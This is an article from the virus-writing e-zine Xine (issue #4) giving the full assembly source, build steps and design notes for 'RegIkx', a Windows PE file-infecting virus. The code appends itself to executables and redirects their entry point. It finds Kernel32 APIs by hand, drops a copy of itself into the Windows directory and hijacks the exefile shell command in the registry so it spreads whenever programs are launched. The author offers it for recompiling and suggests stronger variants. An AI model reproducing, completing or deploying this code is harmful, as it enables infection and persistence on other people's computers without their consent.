/-----------------------------\ | Xine - issue #4 - Phile 205 | \-----------------------------/ ;Again a new virus idea, for a long time I have chatted away about ;this type of virus. Finaly relaizing that no one else wanted to do this ;I did it. This was a what i call a dead time project. Whenever I had ;spare time I worked on it sometimes it sat for a month b4 I looked at it ;again. This lead to strange code, due to every time I did feel like ;working on it I was intrigue with a new concept, nothing major, but enough ;to make the code seem more hodgepodge then my usual mess :>. (Sorry to all ;the coders who do not like upper and lower mix of chars, but I sorta like it) ;Alright the program is made up to 2 parts One a regular PE file made by tasm ;but modified with debug. ;First it is compile with ;tasm32 /ml /m3 reg,; ;tlink32 /Tpe /aa /c /B:0400000 -x reg,r1,,, ;this creates a file that has .DATA only section , I hand code the IData stuff ;see cerebrus virus for more info on this ;then I use a debug script to modify a few things ;Increase Header size to 600h Allow the full header ; to be copy into Memory ;Set Idata Location So OS knows where to load the Idata ;Set Idata Size ; ;Set Flags of the DATA sect to R/W/Exec Not really need since data will ; execute fine ; ;Edit the BASE of the Code Since I have no code section ;Edit Size of Code Tasm does not set these and WinNt ; Chokes if not set properly ;Move the PE Header from 100h to 80h Why not, actual gives me more free ; space in one spot for say other ; viruses Not really use in this virus ;Move any code up to the end of the header area again not really use in this ;virus just an idea I was curoius about. ; ;Allright now we have a 2000h exe which when run will look for the command line ;and execute the exe file if it is there ;Now before it executes the file it will infecting using standard technique of ;expanding the last section and ensuring the last section is r/w ;How may you ask does the file get someone to give it a exe name as a command ;line you may ask. When the file it has infected is run the second part of ;the code it run. Using standard vx technique's to find the k32 API it needs ;It first reads the Registry entry "HKEY_CLASSES_ROOT\exefile\shell\test\command",0 ; it checks if the entry starts with RegIkx.exe, if so dont bother if not ;it writes the entry "RegIkx.exe" %1 %* ;(So when someone right clicks on the mouse over a ExeFile they will see ;Test as one of the Options if then then click test windows runs ;"Regikx.exe" FullPathFileName CommandLine Parms this is how the file spreads) ;Now it gets the Windows Directory and creats RegIkx.exe in it. then ;close the File, close the Registry and jmps back to the host ;Clear as Murky Water right :> ;I Use a space as first char of the last section name to id file as infected ;Display a poem when no command line is passed to it ;may as well confuse the issue in case a user does decide to run the exe by ;itself ; ;Well the rest is in the code, you can recompile with a Diffrent Register ;setting which will then call RegIkx every time the user clicks on a exe ;I have that setting rem out for testing purposes ;Well enjoy and Read the code ;Murkry ;------------------------------------------------------------- ;As usual what follows is notes I made as I was working on this ;project ;------------------------------------------------------------- ;This is being compile with no code of idata section ;only the a DATA section which in Win9? can still execute code??? ;as a side note this seems that while code is code data it code as well ;you can then put code in the k32 data section and execute it.... ;not sure if winnt supports this but I did try stack space in winnt 4.0, ;yes it let me execute it fine. ;to be sure I am altering the flags to be code and exec as well as ;the data the flags will then be 600000E0 ; ;The "RealFile will infect the files off the commandline ;copying the first 600h bytes from the MZ header then copy the ;next 600 from the start of the "virii" code down the infect addtion ; to the end file should be about 800-900; probaly be easier to copy ;the header to the top of the section then we can add and change things as we ;go ;Why 600 when the header size is usual 400h simple Borland pads everthing ;so there is a extra 200 bytes that lay in waste on disk but do not get loaded ;to memory, unless you make the header size 600h which I do in the debug ;script ;so the file looks like this ; on disk in memory after move ; ---------------- ----------------- ; MZ 400000 MZ ; 80 PE 80 PE ; data or code data or code but exec not Write ; 600 Excutable code 600 End of header ; idata cod data 401000 MZ ; 80 PE ; Usable Data or code r/w exec ; 600 Idata code data ; ;Now when writing this file as infection write from 401000 to end of code ;to recreate Excutable file write from 401000 for lenght of code pad to 4096 ;****Note in winnt4.0 the file would just "exit" do nothing or at least ;appear to do that. Under Td32 in NT it would "error loading program" ;So I made entries to the SizeOfCode and BaseOfCode this allow it to work ;but then failed cause I cheated and used "USER32" not "USER32.DLL ok adjusted for ;that and all OK..Cept run from command line only file name but click on then ;full path name was passed. Oh well, I guess that there are some incompatiblity ;with the win32 subsets ;)) ;Reg setting exefile infect "D:\TASM\VIRII\REGHOOK\R1.EXE" %1 %* ;Of course in real virus the exe would be in a windows directory ;so "R1.EXE" %1 %* would work fine and Of course I use RegIkx.exe for ;final edition ;ideas to play with ; Stack Infector use stack for code and data ; modify the .text section to be data as well then you can write the ; orginal "host" back after spreading ; have a small "dos" prog modify one of the system dll's for code to data ; the real virus code then goes tsr at the second run ; Write code that infects the data section and runs from there as well ; just mod the eip to pnt there this opens up the idata,data,resc,reloc ; just about any section can be infected... 'cept AV'ers check this ; While I do not try to hide from AV'rs scanners I do try to mention methods ;that Av'ers should use .486 .model flat, stdcall DEBUG EQU 1 ;REM THIS LINE TO REMOVE DEBUG CODE ;------------------------------- ;Used for access to the Registery HKEY_CLASSES_ROOT equ 80000000h REG_SZ equ 1 REG_OPTION_NON_VOLATILE equ 0 ;sometime I used this, note that many API return nonzero to signify ; True so True != 0 is a better check True equ 1 False equ 0 ;MZ pnter to PE or NE or LE ... NEptr equ 03ch ;Locations in PE header use JQwerty's(29A) inc files for more complete ;header info and other nice tricks SectHdrSze equ 028H ImageSze equ 050h PEHdrSze equ 0F8h ;------------------------------- ;PE Header Offsets NumOfSect equ 6 EipOff equ 28h SectAlign equ 38h FileAlign equ 3Ch ;------------------------------- ;Section Entry Offsets SectName equ 0h SectVsze equ 8h SectVadd equ 0Ch SectRawSze equ 10h SectPtrRaw equ 14h ;Stuff not used SectChar equ 24h ;------------------------------- ;USed in CreateFile API calls GENERIC_READ equ 80000000h GENERIC_WRITE equ 40000000h FATTR_NORMAL equ 0 OPEN_EXISTING equ 3 CREATE_NEW equ 1 ;Used for the Idata Section to get proper offsets ;I sometime have very convolted code that could be replaced with ; One static equ rather than the nonsense I typed, live with it... ;better yet..consider it a exercise for the student... LoadAT equ 01000h offs equ offset PEheader ;+ LoadAT + 400000h filler equ offset Data - PEheader ;Start of Code which is actaul in a section called Data .data ;the data area PEheader: ;will hold the Orginal MZ/PE info db 1A0h dup (00h) ;------------------------------------------------------------- ;Anything beyond this is data that will be carrier over from ;infection to infection after the first infection this will ;be copyed to a buffer area to be used for our code ;I used a debug script to make the intial file ;in most case this is just for placeholders exeptions are strings ;or numerics the virus really needs then they would be placed here ;then moved by the debug script sBlank db ' ',0 Temp dd ? ;Used for temp storage fHandle dd ? ;Open File Handle PtrAddNew dd ? ;Where the write the New Info AddSize dd ? ;Amount we have added to the file ;NewEip dd ? ProcessInfo dd 4h dup(?) StartupInfo dd 18h dup(?) FileName db 256 dup(0) EXEcName db 256 dup(0) crTime dd 2 dup (0) laTime dd 2 dup (0) lwTime dd 2 dup (0) ;*******temp db "c:\windows\notepad.exe",0 BodyTitle db "Stoddart, And It Never Comes Again",00h BodyMsg db "There are gains for all our losses,",0dh,0ah db " There are balms for all our pain,",0dh,0ah db "But when youth, the dream, departs",0dh,0ah db "It takes something from our hearts,",0dh,0ah db " and it never comes again",0dh,0ah db 0dh,0ah,0dh,0ah,0dh,0ah db " Murkry/IkX",0dh,0ah db "Making life fun through 'tronic life",0dh,0ah db " RegIkx.ExE",0dh,0ah,00 ;------------------------------------------------------------- ;Data area stops and the place holder takes over ;place holder used the formala so the IDATA always starts at 600h Data: ;place holder so we pad this out properly db 600h - filler dup (00h) ;The Infection part of the Virus uses the IDATA: DD offset API_LOC2b - offset PEheader + LoadAT ; usual this has a redunat entry ;We are not skipping it ; offset API_LOC1 - offset PEheader + LoadAT T1: dd 0 ;time date stamp dd 0 ;where in memory this dll is loaded DD offset DLL1 - offset PEheader + LoadAT DD offset API_LOC2 - offset PEheader + LoadAT ;--------second DLL DD offset API_LOC2Ab - offset PEheader + LoadAT ; usual this has a redunt entry ;We are not skipping it ; offset API_LOC1 - offset PEheader + LoadAT T2: dd 0 ;time date stamp dd 0 ;where in memory this dll is loaded DD offset DLLA - offset PEheader + LoadAT DD offset API_LOC2A - offset PEheader + LoadAT DD 00000000H DB 10H DUP(0) API_LOC2: exitp DD offset FUNC1 - offset PEheader + LoadAT ; beep DD offset FUNC2 - offset PEheader + LoadAT ;4h ;VxdCall0 DD 80000001h ;8h getcomline DD offset FUNC3 - offset PEheader + LoadAT ;Ch createp DD offset FUNC4 - offset PEheader + LoadAT ;10h Copy DD offset FUNC5 - offset PEheader + LoadAT Create DD offset FUNC6 - offset PEheader + LoadAT FileP DD offset FUNC7 - offset PEheader + LoadAT Read DD offset FUNC8 - offset PEheader + LoadAT Write DD offset FUNC9 - offset PEheader + LoadAT Close DD offset FUNC10 - offset PEheader + LoadAT FindFirst DD offset FUNC11 - offset PEheader + LoadAT FindNext DD offset FUNC12 - offset PEheader + LoadAT CloseFind DD offset FUNC13 - offset PEheader + LoadAT FileSize DD offset FUNC14 - offset PEheader + LoadAT WinEx DD offset FUNC15 - offset PEheader + LoadAT GetTime DD offset FUNC16 - offset PEheader + LoadAT SetTime DD offset FUNC17 - offset PEheader + LoadAT DD 0 API_LOC2A: msgbox DD offset FUNCA - offset PEheader + LoadAT DD 0 SizeAPIAdd equ $ - Offset API_LOC2 ;====================================================================== API_LOC2b: exitpb DD offset FUNC1 - offset PEheader + LoadAT ; beepb DD offset FUNC2 - offset PEheader + LoadAT ;4h ;VxdCall0b DD 80000001h ;8h getcomlineb DD offset FUNC3 - offset PEheader + LoadAT ;Ch createpb DD offset FUNC4 - offset PEheader + LoadAT ;10h Copyb DD offset FUNC5 - offset PEheader + LoadAT Createb DD offset FUNC6 - offset PEheader + LoadAT FilePb DD offset FUNC7 - offset PEheader + LoadAT Readb DD offset FUNC8 - offset PEheader + LoadAT Writeb DD offset FUNC9 - offset PEheader + LoadAT Closeb DD offset FUNC10 - offset PEheader + LoadAT FindFirstb DD offset FUNC11 - offset PEheader + LoadAT FindNextb DD offset FUNC12 - offset PEheader + LoadAT CloseFindb DD offset FUNC13 - offset PEheader + LoadAT FileSizeb DD offset FUNC14 - offset PEheader + LoadAT WinExb DD offset FUNC15 - offset PEheader + LoadAT GetTimeb DD offset FUNC16 - offset PEheader + LoadAT SetTimeb DD offset FUNC17 - offset PEheader + LoadAT DD 0 API_LOC2Ab: msgboxb DD offset FUNCA - offset PEheader + LoadAT DD 0 ;------------------------names of DLL DLL1 DB 'KERNEL32.DLL',0 DLLA DB 'USER32.DLL',0 dw 0 ;ends dll names FUNC1 dw 0 db 'ExitProcess',0 FUNC2 dw 0 DB 'Beep',0 FUNC3 dw 0 DB 'GetCommandLineA',0 FUNC4 dw 0 db 'CreateProcessA',0 FUNC5 dw 0 db 'CopyFileA',0 FUNC6 dw 0 db 'CreateFileA',0 FUNC7 dw 0 db 'SetFilePointer',0 FUNC8 dw 0 db 'ReadFile',0 FUNC9 dw 0 db 'WriteFile',0 FUNC10 dw 0 db 'CloseHandle',0 FUNC11 dw 0 db 'FindFirstFileA',0 FUNC12 dw 0 db 'FindNextFileA',0 FUNC13 dw 0 db 'FindClose',0 FUNC14 dw 0 db 'GetFileSize',0 FUNC15 dw 0 db 'WinExec',0 FUNC16 dw 0 db 'GetFileTime',0 FUNC17 dw 0 db 'SetFileTime',0 db 0 ;end of Function list for this DLL FUNCA dw 0 db 'MessageBoxA',0 dw 0 db 0 ;end the function list db 0 ;end the DLL list EndIDATA: ;By Default this will be R/W Exec section Begin: ;move the header into our section ;really so this is info will be R\W mov eax,VSize call $ + 5 ;Need any value in our address pop Eax ;area for GetMZ Call GetMZ ;Eax will return pntr to MZ header Mov Esi,Eax mov Edi,offset PEheader xor ecx,ecx mov ch,6 ;600 bytes rep movsb ;***Get CommandLine Call FillFileNames or Eax,Eax ;Eax = Zero then no file to infect or run je NoFileToExec Call InfectFile IFDEF DEBUG push Eax call msgbox, large 0, Offset EXEcName ,offset FileName,Large 1 pop Eax ENDIF ;this could be used but to failed in one test in winnt ;CALL WinEx, Offset EXEcName, large 1 ;there was probaly another issue here ;Run the file using CreateProcess Call createp, \ offset FileName, \ ;module name offset EXEcName, \ ;command line large 0, \ ;sec attr large 0, \ ;thread sec Large False, \ ;inherit handles large 0, \ ;create flags large 0, \ ;Enviroment large 0, \ ;current directory offset StartupInfo, \ ;startup info offset ProcessInfo ;process info jmp ExitMain NoFileToExec: push Eax call msgbox, large 0, Offset BodyMsg ,offset BodyTitle,Large 40h pop Eax Problem: NoCommandLine: ExitMain: push -1 call exitp ;------------------------------------------------------------------ InfectFile PROC PushA ;Open the File r/w using Create file Call dword ptr [Create] , \ offset FileName, \;File to Open GENERIC_READ or GENERIC_WRITE, \ large 0, \ Large 0, \ large OPEN_EXISTING, \ large 0, \ large 0 mov dword ptr [fHandle],eax inc Eax je @@FileNotOpenErr ;fBuff where to read info to Call GetTime,[fHandle],offset crTime,offset laTime,offset lwTime Call Read , \ [fHandle], \ ;handle offset fBuff, \ ;where to read to 400h, \ ;how much to read offset Temp, \ ;how much was read large 0 ;overlapped amount not used win95 Or eax,eax ;Check if All is ok jz @@ErrorFileOpenErr cmp dword ptr [Temp],400h ;Did we read all We wanted to jne @@ErrorFileOpenErr lea Esi, [fBuff + NEptr] ;Get the ptr to the PE lodsd ;It would probaly be safer to or Eax,Eax jz @@ErrorFileOpenErr ;Not a PE cmp Eax,1a0h ;If greater than this then avg jg @@ErrorFileOpenErr ;PE hdr would not fit in remaining ;space so quit add eax,Offset fBuff ;check for MZ as well xchg Esi,Eax ;feel free to add that Check cmp word ptr [ESI],"EP" ;if you Like jne @@ErrorFileOpenErr ;Next check to see if we have the Section Entry for the ;last Section ;ESI pnts to the PE offset mov ax,word ptr [Esi + NumOfSect] cwde ;Convert ax to Eax dec Eax mov Ecx,SectHdrSze mul Ecx Add Eax,PEHdrSze cmp Eax,400h jg @@ErrorFileOpenErr add Eax,Esi ;Edi = offset to the LastSection xchg Edi,Eax ;Now need to modify this last section ;Will Need to get FileSize as well.... ;Debug just to see last section name if ".?????" infect ;if " ??????" already infected IFDEF DEBUG push Eax call msgbox, large 0, Edi ,Edi ,Large 1 pop Eax ENDIF ;check For Infection mov bl,byte ptr [Edi] cmp bl,20h ;check for space as first char je @@InfectedAlready ;Otherwise assume we will infect mov byte ptr [Edi],20h ;Get Eip and move it to the return area mov Ebx, dword ptr [Esi + EipOff] mov dword ptr [RegHook + 1], Ebx ;Set New Eip mov Ebx,[Edi + SectRawSze] ;Get New Eip add Ebx,[Edi + SectVadd] ; add Ebx,Offset RegHook - offset PEheader ; mov [Esi + EipOff],Ebx ;Store It ;Setup How where we are adding all the code Mov Eax, dword ptr [Edi + SectRawSze] Add Eax,dword ptr[Edi + SectPtrRaw] Mov [PtrAddNew],Eax ;Now We need to modify the last Section entry to ;hold the new code xor Edx,Edx mov Eax,VSize add Eax, dword ptr [Edi + SectRawSze] dec Eax or Edx,Edx jne @@ErrorFileOpenErr ;Update Section Raw Data Size mov Ecx,[Esi + FileAlign] add Eax,Ecx dec Eax div Ecx Mul Ecx ;Save how much we will add to the file Push Eax sub Eax,[Edi + SectRawSze] mov [AddSize],Eax Pop Eax ;save the new raw data size of the section mov [Edi + SectRawSze],Eax ;Using the new Raw Data Size update ;the Section virtual Size mov Ecx,[Esi + SectAlign] dec Eax add Eax,Ecx div Ecx Mul Ecx ;while here lets update the ImageSze as well ;since some progs do not use a correct val in Vsize ;we make sure that our value is at least on a section alignment push Eax sub Eax,[Edi + SectVsze] dec Eax div Ecx mul ecx add [Esi + ImageSze],Eax pop Eax mov [Edi + SectVsze],Eax or [Edi + SectChar],80000000h ;Now move the file ptr to the new size ;write this to the file ;Goto the start of the file and write the new Header ;close the file ;Set the ptr to the place where the old info ended Call dword ptr [FileP] , [fHandle], dword ptr [PtrAddNew] , large 0, large 0 ;Write to the file using Write Call dword ptr [Write], \; [fHandle], \;handle offset PEheader, \;write from dword ptr [AddSize], \;size offset Temp, \;how much written large 0 ; Call dword ptr [FileP] , [fHandle], large 0 , large 0, large 0 ;Write to the file using Write Call dword ptr [Write], \; [fHandle], \;handle offset fBuff, \;write from 0400h, \;size offset Temp, \;how much written large 0 ; Call SetTime,[fHandle],offset crTime,offset laTime,offset lwTime @@InfectedAlready: @@ErrorFileOpenErr: ;Close the file Call Close, [fHandle] @@FileNotOpenErr: PopA Ret EndP ;------------------------------------------------------------------ FillFileNames PROC call getcomline ;returns EAX = CommandLine ;Due to the way this virus will "hook" the registery it should always ;recieve "regIKX.exe" Host.exe args ;So to find the File we look for .exe ;first move the exe name to the FileNAme ;then Move the Entire line to the EXEcName ;move Eax to the command args @@Next1: inc Eax ;Get past first " cmp byte ptr [Eax],'.' ;Find Next jne @@Next1 mov ebx,dword ptr [eax] ;ebx = "EXE." and EBX,0DFDFDFFFH cmp EBX,"EXE." jne @@Next1 inc Eax ;. inc Eax ;E inc Eax ;X inc Eax ;E ;At this point we should be looking at the ;Next file we have to run and potential ;any command line paremters to that file @@Next2: cmp byte ptr [Eax],'"' ; jne @@skip Inc eax @@skip: cmp byte ptr [Eax]," " ; je @@Space ;we have command line info cmp byte ptr [Eax],00 je @@NoCommandLine @@Space: ;Load the FileName and EXEcName mov edi,offset FileName mov esi,eax @@RemoveSpace: cmp byte ptr [esi]," " jne @@NextNameByte inc esi jmp @@RemoveSpace @@NextNameByte: lodsb cmp al,"." je @@a1 cmp al,0 je @@NoFileToExec jmp @@Cn1 @@a1: mov Ebx,Dword ptr[ Esi -1] and EBX,0DFDFDFFFH cmp EBX,"EXE." jne @@Cn1 mov [Edi],Ebx mov [Edi + 256d],Ebx lea Esi, [Esi+3] lea Edi, [Edi+4] je @@EndExE @@Cn1: stosb mov byte ptr [edi + 255D],al Jmp @@NextNameByte @@EndExE: push Edi xor al,al stosb ;finish the EXEcName pop edi inc Edi lea edi,[edi+255D] mov al,20h @@Cn3: stosb lodsb cmp al,00 je @@NameDone jmp @@Cn3 @@NameDone: ret @@NoCommandLine: @@NoFileToExec: XOR Eax,Eax ret EndP ;---------------------------------------------------------------- RegHook: db 68h dd ? pushA ;I like my GetMZ routine but, I found a major bug ;while the odds are small that it will find a MZ and then a PE that ;is the wrong one it can happen and this virus is an examaple of that ;when it infects a file which has an (PE) file offset of 1000h when you ;round the offset given in the eax to the last offset of 1000h you are ;now pointing at the first byte of this virus in that file then you check ;for MZ, PE you find it ... Not the host start, but the virus start. Oh well ;cant be sure on everything so I "fix" it by ensureing that the ;the value in Eax is one less then the start of the virus Call H1 H1: Pop Eax Sub Eax, offset H1 - Offset PEheader dec Eax call GetMZ ;Find where this file is loaded then add [esp + 20h],eax ;fix the return adress ;virus is set to return to the host when done ;now get the pntr off the stack that pnts to a K32 address ;use that to find the address to getprocaddress mov Eax,[esp + 24h] ;value inside Kernel32 ;usauly... call GetMZ ;Get the start of the k32 or Eax,Eax ;problem bail.. jz UhOh call GetAPI ;get the Get Process Address or Eax,Eax jz UhOh ;problem bail pusha mov ecx,SizeAPIAdd Call $ + 5 add dword ptr [esp],Offset API_LOC2b - $ ;push a location pop Esi Call $ + 5 add dword ptr [esp],Offset API_LOC2 - $ ;push a location pop Edi rep Movsb xor Eax,EAx Call $ + 5 add dword ptr [esp],Offset T1 - $ ;push a location pop Edi Stosd Stosd Call $ + 5 add dword ptr [esp],Offset T2 - $ ;push a location pop Edi Stosd Stosd popa push Eax ;Push the Eax Call SetReg ;Acual work is done here UhOh: popA ret ;Make Section R\W and Exec ; ;CheckReg ; CreateFile ; SetReg ;CloseReg ;Host ;===================================== ;Passed to it ;On stack K32 = Kernel32 API ;and that fs:[14] = GetProcessAddress ; SetReg Proc WINDOWS PASCAL arg @@K32:DWORD ;args passed to us ;local variable space local @@hAdv:DWORD ;advapi32 handle local @@LoadLib:DWORD ;Address if LoadLib local @@RegOpen:DWORD local @@RegSet:DWORD local @@RegQuery:DWORD local @@RegEnum:DWORD local @@RegClose:DWORD local @@Write:DWORD local @@CreateF:DWORD local @@CloseH:DWORD local @@Read:DWORD local @@hKey:DWORD local @@mBox:DWORD local @@Buff:DWORD local @@Fhandle:DWORD local @@Temp:DWORD call @@GetLib db "LoadLibraryA",0 @@GetLib: push @@K32 call fs:[14h] mov @@LoadLib,Eax call @@GetAdv db "Advapi32.dll",0 @@GetAdv: call @@LoadLib mov @@hAdv,Eax or eax,eax ;check to see if all is ok je @@uups ;Now have all that is needed to read/write to a regisrty ;Try to open the Reg ;Attempt to open the key or create a new one ;------------------------------------------------- call @@GL1 db "RegCreateKeyExA",0 @@GL1: push @@hAdv Call @@GetProcAdd Call @@Disp dd ? @@Disp: ;push @@hKey LEA ESI,@@hKey PUSH ESI push Large 0 ;sec attr null push 0F003Fh ;regsam push large REG_OPTION_NON_VOLATILE ;Options call @@GetNullSt ;null string db "",0 @@GetNullSt: push 0 ;resv call @@Gs1 ;StrLoc db "exefile\shell\open\command",0 ;for real use StrLoc db "exefile\shell\test\command",0 @@Gs1: push LARGE HKEY_CLASSES_ROOT call ecx or Eax,Eax jne @@uups ;couldn't open the key ;Ok have open the key now read and check if its ours ;---------------------------------------------------------------- ;Read the string call @@GL2 db "RegQueryValueExA",0 @@GL2: Push @@hAdv Call @@GetProcAdd Call @@GetBufLen dd 255d @@GetBufLen: Call $ + 5 add dword ptr [esp],Offset EXEcName - $ ;push a location pop esi push esi mov dword ptr [@@Buff],esi ;of a buffer ;save it ; Call @@GetStr ;@@st db 255d dup(0) ;@@GetStr: Call @@GetDataType dd 1 @@GetDataType: push large 0 push large 0 push [@@hKey] call Ecx ; mov esi,dword ptr[@@Buff] call $ + 5 add dword ptr [esp],offset @@New - $ pop edi cmpsd je @@CloseKey ;allready done ;Ok its there but not ours so just unhook whatever is there and replace it ;need to make our file in the Windows system directory if we cant do that ;bail out ;---------------------------------------------------------------- ;Createfile ;1 Get windows directory ;2 Try to Create File ; Bail if it exists ??? ;3 Write File from top 200 bytes ; then Write again from top for rest of file ;4 close Handle call @@GetWinDir db "GetWindowsDirectoryA",0 @@GetWinDir: push @@K32 call fs:[14h] call $ + 5 add dword ptr [esp],offset FileName - $ pop edi Push 255D Push Edi Call Eax or Eax,Eax jz @@Prob Push Edi ;This is the Key Entry we want to write ;"ReGIkX.exe" %1 %* add Edi,Eax mov Eax, "GeR\" stosd mov Eax,".XkI" stosd mov Eax,"ExE" + 00 stosd ;Ok on Stack is the ptr to the string for our new file ;for the hell of it I'll us the the GetProcAdd and the ;string for CreateFileA in the other part of the Virus call $ + 5 add dword ptr [esp],offset FUNC6+2 - $ ;Address of Str ;CreateFileA Push @@K32 Call @@GetProcAdd Pop Edi ;New File and Widows Directory Xor Eax,Eax Push Eax Push Eax Push CREATE_NEW ;Create New File Push 0 Push 0 Push GENERIC_WRITE ;Only Write Push Edi Call Ecx ;CreateFileA mov [@@Fhandle],Eax inc Eax jz @@Prob ;Write to the File call $ + 5 add dword ptr [esp],offset FUNC9 + 2 - $ ;Address of Str ;WriteFileA Push @@K32 Call @@GetProcAdd mov edi,ecx ;------- Push Large 0 ;Not used Overlapped ;Push @@Temp ;used to hold how much is written LEA ESI,@@Temp ; PUSH ESI ; push 600h ;size to write call $ + 5 add dword ptr [esp],offset PEheader - $ ;Address of ;Start of Virus Push [@@Fhandle] ; call Ecx ;Write File or Eax,Eax jz @@ProbCloseFile ;-------- Push Large 0 ;Not used Overlapped ;Push @@Temp ;used to hold how much is written LEA ESI,@@Temp ; PUSH ESI ; push VSize ;size to write ; push 1A00h ;2000h - 600h from above call $ + 5 add dword ptr [esp],offset PEheader - $ ;Address of ;Start of Virus Push [@@Fhandle] ; call Edi ;Write File or Eax,Eax jz @@ProbCloseFile ;-------- Push Large 0 ;Not used Overlapped ;Push @@Temp ;used to hold how much is written LEA ESI,@@Temp ; PUSH ESI ; push (2000h - 600h - VSize) ;size to write call $ + 5 add dword ptr [esp],offset PEheader - $ ;Address of ;Start of Virus Push [@@Fhandle] ; call Edi ;Write File or Eax,Eax jz @@ProbCloseFile ;------------------------------------------------------------- IFDEF DEBUG push Eax call @@GetDebug db "User32.dll",0 @@GetDebug: call @@LoadLib call @@DebugMess db 'MessageBoxA',0 @@DebugMess: push eax call fs:[14h] xchg eax,ecx push large 1 call @@M1 db "Write File Sucess",0 @@M1: call @@M2 db "GoodBye",0 @@M2: push 0 call Ecx pop Eax ENDIF @@cont: ;---------------------- @@ProbCloseFile: ;close the File call $ + 5 add dword ptr [esp],offset FUNC10 + 2 - $ ;Address of Str ;CloseHandle Push @@K32 Call @@GetProcAdd mov Eax,[@@Fhandle] call Ecx ;Murk @@Prob: ;--------------------- ;Now set the Registery key call @@GL3 db "RegSetValueExA",0 @@GL3: Push @@hAdv Call @@GetProcAdd ; push large 18D ;Should be lenght of string below push @@StrLen call @@GetNew @@New: db '"ReGIkX.exe" %1 %*',0 @@StrLen equ $ - Offset @@New @@GetNew: push 1 push 0 push 0 push [@@hKey] call ecx ;-------------------- @@CloseKey: ;Close the key call @@GL4 db "RegCloseKey",0 @@GL4: Push @@hAdv Call @@GetProcAdd push dword ptr [@@hKey] call Ecx ;Murk1 ; push 255d ; call @@strBuf ; db 255d dup(0) ;@@strBuf: @@uups: ret ;===================================== @@GetProcAdd PROC WINDOWS ;accepts the procname and the handle of a dll ;returns in ecx the address of the api ARG @@hAdv:DWORD,@@ProcName:Dword push @@ProcName push @@hAdv call fs:[14h] xchg eax,ecx ret @@GetProcAdd EndP SetReg EndP ;===================================== ;------------------------------------- ;GetMZ subroutine ;Passed ;EAX = the address we want to start looking for ;Returns the MZ header location above this ;RETURNS IN EAX THE LOCATION OF THE MZ header ;Should be the Load VA for the program GetMZ Proc Pusha mov ebp, esp ;Set up a SEH handler @@GetMZ_SetSeh: call $ + 5 add dword ptr [esp], Offset @@GetMZ_FindExcept - $ Push dword ptr fs:[0] mov fs: [0] , esp ;set Esi = eax Xchg esi, eax @@GetMZ_LoopFind: ;this checks for the MZ and the PE if both are not found ;but MZ is we assume an error and exit out ;with esi = 0 and esi,0FFFFF000h Pusha Lodsw Cmp ax,'ZM' Jne @@GetMZ_NotFound Add esi, [esi + 3Ah] dec esi dec esi lodsw cmp ax,'EP' je @@GetMZ_Found xor eax,eax mov dword ptr [esp + 04h],eax jmp @@GetMZ_Found ;Not really assume error and return with esi ; = 0 @@GetMZ_NotFound: popa sub esi,1000h jmp @@GetMZ_LoopFind @@GetMZ_FindExcept: mov eax, [esp + 08h] Lea esp, [eax - 20h] popa pop dword ptr fs:[0] inc esp ;esp + 4 inc esp inc esp inc esp sub esi,1000h Jmp @@GetMZ_SetSeh @@GetMZ_Found: Popa ;esi = the MZ header ;restore the the orginal SEH Pop dword ptr fs:[0] Add esp, 4 ; Set our Eax to be the return Value Mov dword ptr [ebp + 1ch],esi Popa Ret GetMZ EndP ;--------------------------- ;============================================================================== ;Takes EAX = K32 VA ;Returns ;eax = K32 address or 0 if failure ;fs:[14] = GetProcessAddress if Succcess GetAPI PROC WINDOWS PASCAL ;LOCAL @@gaWorkSp:dword,@@gaGetPAdd:dword,@@gaNindex:dword,@@gaAddOrd:dword,@@gaAddName:dword,@@gaAddFunc:dword,@@gaLimit:dword,@@gaBASE:dword,@@gaK32:dword LOCAL @@gaWorkSp:dword LOCAL @@gaGetPAdd:dword LOCAL @@gaNindex:dword LOCAL @@gaAddOrd:dword LOCAL @@gaAddName:dword LOCAL @@gaAddFunc:dword LOCAL @@gaLimit:dword LOCAL @@gaBASE:dword LOCAL @@gaK32:dword pusha ;Save everthing Mov Ebx,dword ptr[Eax + 3ch] add Ebx,eax ;get PE location mov [@@gaBASE],eax ;save VA push eax mov [@@gaK32],ebx ;save PE location mov Eax,[Ebx + 78h] ;Edata Loc pop ebx lea Esi,[Eax + Ebx + 10h] ;should be the Base of the Edata Lea Edi,[@@gaBASE] ;Starting pnt for the ordinal ;exported by this DLL ;now that Esi and Edi point to the correct loactions ;we can just lodsd instead of Mov eax,[] ;then stosd instead of mov [],eax Lodsd ;save base stosd Lodsd ;Load the Total ;number of Exports but trash lodsd ;get and save the Limit stosd ;this is the number of both ;named and unamed functions Eported Lodsd ;get and save the address to add eax,ebx ;the function's stosd Lodsd ;get and save the address to add eax,ebx ;the names of the function stosd Lodsd ;get and save the address to add eax,ebx ;the ordinals of the function stosd gaLookLoop: Mov Esi,[@@gaAddName] ;first adrress of the first name Mov [@@gaNindex],Esi ;store where we are Mov Edi,Ebx ;get the load Add of K32 Add Edi, [Esi] xor Ecx,Ecx gaTryAgain: ;find GetProcAddress cmp [Edi],'PteG' jne gaNextOne cmp [Edi+4],'Acor' jne gaNextOne cmp [Edi+8],'erdd' jne gaNextOne cmp word ptr[Edi+0Ch],'ss' jne gaNextOne cmp byte ptr [Edi+0Eh],00 jne gaNextOne jmp gaGotGetProcAdd gaNextOne: inc Ecx cmp Ecx, [@@gaLimit] jge gaNotFound1 add dword ptr [@@gaNindex],4 Mov Esi, [@@gaNindex] Mov Edi, [Esi] Add Edi, Ebx jmp gaTryAgain gaGotGetProcAdd: ;ok we have the index into the name array use this to get ; the index into the ord array shl Ecx,1 ;*2 for a word array Mov Esi, [@@gaAddOrd] add Esi,Ecx ;move to the correct spot in the array Movzx Eax,word ptr [Esi] ;ax = ordinal value shl Eax,2 ;*4 Mov Esi, [@@gaAddFunc] Add Esi, Eax Mov Edi, dword ptr [Esi] add Edi,ebx ;got the address of it xchg Eax, Edi Mov dword ptr [@@gaGetPAdd],eax jmp gaOkFound gaNotFound1: xor Eax,Eax ;damn not found ;set the eax to 0 gaOkFound: Mov fs:[14h],Eax ;add the VA to it or Eax,Eax jnz gaOK Mov [Esp + 1ch],Eax ;set Eax to zero for Popa gaOK: popa Ret ENDP ;------------------------------ VSize equ $ - offset PEheader fBuff db 400h Dup(?) end Begin